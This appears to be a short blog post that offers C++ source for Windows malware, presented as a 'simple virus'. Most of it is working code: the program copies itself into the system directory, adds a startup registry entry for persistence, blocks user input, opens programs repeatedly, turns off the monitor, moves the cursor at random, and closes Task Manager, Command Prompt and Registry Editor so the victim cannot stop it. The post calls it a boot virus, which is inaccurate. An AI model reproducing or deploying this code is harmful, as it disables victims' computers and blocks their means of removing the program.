How to make a simple Virus in C++ Posted by Stranger on 6:14 AM Digg it Bookmark it Stumble it Email to friend

its a boot virus

#include
#include
#include
#include
#include
#include
using namespace std;

int random, Freq, Dur, X, Y;
HWND mywindow, TaskMgr, CMD, Regedit;
char Notepad[MAX_PATH]="notepad.exe";
char MineSweeper[MAX_PATH]="winmine.exe";
char Hearts[MAX_PATH]="mshearts.exe";
char Website[MAX_PATH]="http:\\www.google.com";

void SetUp();
void Run( int ID );
void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();

DWORD WINAPI DestroyWindows(LPVOID);

int main()
{
srand( time(0) );
random = rand()%6;
system("title :.Virus.:");
BlockInput( true );
SetUp();
BlockInput( false );
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
while(1)
{
Run( random );
Sleep(10);
}
}
void SetUp()
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\winminer.exe");
CopyFile(pathtofile,system,false);

HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);

mywindow = FindWindow(NULL,":.Virus.:");
cout<<"You Are Doomed cyberot"; Sleep(1000); ShowWindow(mywindow, false); } void Run( int ID ) { if( ID == 1 ) { BlockInput(true); } else if( ID == 2 ) { Beeper(); } else if( ID == 3 ) { OpenStuff(); } else if( ID == 4 ) { Hibernation(); } else if( ID == 5 ) { CrazyMouse(); } else { BlockInput(true); Beeper(); OpenStuff(); CrazyMouse(); } } void Beeper() { Freq = rand()%2001; Dur = rand()%301; Beep( Freq, Dur ); } void OpenStuff() { ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE); ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_MAXIMIZE); ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIMIZE); ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXIMIZE); } void Hibernation() { Sleep(1000); SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2); } void CrazyMouse() { X = rand()%801; Y = rand()%601; SetCursorPos( X, Y ); } DWORD WINAPI DestroyWindows(LPVOID) { while(1) { TaskMgr = FindWindow(NULL,"Windows Task Manager");
CMD = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "You Suck Balls Superman");
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( CMD != NULL )
{
SetWindowText( CMD, "You Suck Balls Superman");
PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( Regedit != NULL )
{
SetWindowText( Regedit, "You Suck Balls Superman");
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}

Sleep(10);
}
}